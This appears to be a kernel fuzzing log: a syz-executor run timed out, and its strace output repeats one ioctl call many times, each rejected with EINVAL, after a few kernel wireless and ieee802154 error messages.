[ 76.701090][ T51] cfg80211: failed to load regulatory.db
[ 127.897672][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 127.899989][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[ 189.336856][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 189.339131][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[host] Command execution timed out after 2m30s
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor4001534845
<...>
)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
